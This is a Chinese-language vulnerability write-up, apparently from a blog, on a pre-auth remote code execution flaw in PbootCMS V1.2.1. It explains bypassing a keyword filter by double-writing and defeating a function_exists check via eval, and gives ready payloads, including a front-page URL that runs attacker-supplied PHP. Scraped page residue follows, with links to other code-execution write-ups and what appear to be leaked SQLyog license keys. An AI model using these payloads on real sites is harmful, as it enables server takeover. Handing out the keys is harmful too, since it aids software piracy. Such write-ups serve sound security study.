内核 thinkphp

PbootCMS-V1.2.1

├─ apps         应用程序

│  ├─ admin     后台模块

│  ├─ api       api模块

│  ├─ common    公共模块

│  ├─ home      前台模块

├─ config       配置文件

│  ├─ config.php    配置文件

│  ├─ database.php  数据库配置文件

│  ├─ route.php     用户自定义路由规则

├─ core         框架核心

│  ├─ function  框架公共函数库

│  │  ├─ handle.php 助手函数库1

│  │  ├─ helper.php 助手函数库2

├─ template     html模板

├─ admin.php    管理端入口文件

├─ api.php      api入口文件

├─ index.php    前端入口文件

找到外部访问的点  进行 $_GET   $_POST  $_COOKIE  进行数据检测

在core/function 框架公共函数库   我handle.php 助手1 和 helper.php 助手2

会把所有接收的字符串进行处理,将过滤的函数替换为空

这里用双写就可以绕过

Updatexml  updaupdatexmltexml

代码执行

通过敏感函数定位,到这里

需要绕过的地方

这里会把 if 标签内的函数 执行位置 判断是否为函数

如果是的话,就为危险 退出,不执行eval

绕过的方法,是function_exists  为 false

eval 是一种语言结构,不是函数

所以在 function_exists 的时候 返回false  进行了绕过。

触发流程

{poot:if(php code)}{/poot:if}

触发该标签即可

php code  要以eval(xxx) 这样来执行

因为判断了 $matches2[1] 这个位置

 

執行parserIfLabel  parserAfter

 

 跑了parserAfter 的地方,比如 Index 這裏

 

我在後台做一個測試

保存,在主頁  直接访问主页测试,可以触发

這是閉合后的

{pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}

没有闭合前

$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';

主要还是配合 正则匹配的规则 然后进行多余的代码闭合 最后可以任意执行代码

{pboot:if(eval($_REQUEST[1]));//)}}{/pboot:if}

代码执行

除了这index之外   about、 list 、search  几处都可以

那么如何前台利用 ~

payload idnex 处   其他几处利用方法相同

view-source:http://127.0.0.1/pt1.2/index.php/index?echod={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

{pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if} 可以看到在源码这一块输出 是没有这个标签的,因为标签的代入,进行了解析,从而执行了代码。

基于tp3开发的cms-前台代码执行的更多相关文章

  1. 记一次海洋cms任意代码执行漏洞拿shell(url一句话)

    实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...

  2. 一个简单的基于MINI2440开发板的启动代码

    1. S3C2440大概的启动流程(NAND启动): ①设置CPU为SVC模式 ②关闭看门狗 ③屏蔽中断 ④关闭MMU ⑤初始化时钟 ⑥初始化内存(SDRAM) ⑦初始化栈指针(SP, R13) ⑧初 ...

  3. 一款基于Netty开发的WebSocket服务器

    代码地址如下:http://www.demodashi.com/demo/13577.html 一款基于Netty开发的WebSocket服务器 这是一款基于Netty框架开发的服务端,通信协议为We ...

  4. 前台ajax请求一次,后台代码执行了两次

    问题: 后台使用Django,前台发布文章时使用ajax方式,后台执行代码将data数据取出存入数据库 经过排查,是提交按钮type写成了submit,需要写成button,真是 修改后测试 代码执行 ...

  5. 帝国CMS(EmpireCMS) v7.5后台任意代码执行

    帝国CMS(EmpireCMS) v7.5后台任意代码执行 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行. 二 ...

  6. 基于thinkphp3.2.3开发的CMS内容管理系统 - ThinkPHP框架

    基于thinkphp3.2.3开发的CMS内容管理系统 thinkphp版本:3.2.3 功能: --分类栏目管理 --文章管理 --用户管理 --友情链接管理 --系统设置 目前占时这些功能,更多功 ...

  7. 基于thinkphp3.2.3开发的CMS内容管理系统(二)- Rbac用户权限

    基于thinkphp3.2.3开发的CMS内容管理系统 thinkphp版本:3.2.3 功能: --分类栏目管理 --文章管理 --商品管理 --用户管理 --角色管理 --权限管理 --友情链接管 ...

  8. Discuz! 6.x/7.x 版本 前台任意代码执行漏洞

    一.漏洞原理: 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞. include/global.fun ...

  9. phpcms前台任意代码执行漏洞(php<5.3)

    phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞 /phpsso_server/phpcms/libs/functions/global.fu ...

随机推荐

  1. python3(二十四) subClas

    """ 继承的多态 """ __author__ = 'shaozhiqi' # -----------------父类---------- ...

  2. Java14:你需要知道的新特性

    基本介绍 2020 年 3 月 17 日,JDK / Java 14 正式 GA(General Available).这是自从 Java 采用六个月一次的发布周期之后的第五次发布. 此版本包含的 J ...

  3. [编译] 7、在Linux下搭建安卓APP的开发烧写环境(makefile版-gradle版)—— 在Linux上用命令行+VIM开发安卓APP

    April 18, 2020 6:54 AM - BEAUTIFULZZZZ 目录 0 前言 1 gradle 安装配置 1.1 卸载系统默认装的gradle 1.2 下载对应版本的二进制文件 1.3 ...

  4. Fiddler实战之拟2G、3G、4G网络进行弱网测试

    至于fidder网络代理设置就不多说了 模拟网速: 1.启动Fiddler,打开菜单栏Rules---Performances---Simulate Modem Speeds这里打开了模拟调节速度 2 ...

  5. AJ学IOS(24)UI之注册案例

    AJ分享,必须精品 先看效果 制作思路 在做这个的时候,首先用stroyboard画出来界面UI,这个很简单,不多说了,然后下一步就是自定义xib做键盘上面的那一栏了,需要自己做xib还有view,详 ...

  6. Java程序员必备:序列化全方位解析

    前言 相信大家日常开发中,经常看到Java对象"implements Serializable".那么,它到底有什么用呢?本文从以下几个角度来解析序列这一块知识点~ 什么是Java ...

  7. 学习Saleforce | 业内第一份Salesforce学习者数据报告

    自从自由侠部落这个Salesforce中文学习平台成立以来,我们接触到了越来越多的Salesforce的学习者,由衷感觉到这个学习生态圈愈发蓬勃发展. 为了了解Salesforce学习者的基本情况.现 ...

  8. Windows10 下安装SourceTree 跳过注册 Bitbucket

    前提:安装Git 下载Windows系统可执行文件SourceTreeSetup-3.1.3.exe 双击安装,会出现如下界面: 关闭这个界面 C:\Users\当前用户文件夹\AppData\Loc ...

  9. 多线程高并发编程(6) -- Semaphere、Exchanger源码分析

    一.Semaphere 1.概念 一个计数信号量.在概念上,信号量维持一组许可证.如果有必要,每个acquire()都会阻塞,直到许可证可用,然后才能使用它.每个release()添加许可证,潜在地释 ...

  10. SQLyog-证书密钥

    * 用户名: + 随意填写 * 秘钥: + b70d7f66-dac2-4462-bf51-c4e9347da763 + ccbfc13e-c31d-42ce-8939-3c7e63ed5417 + ...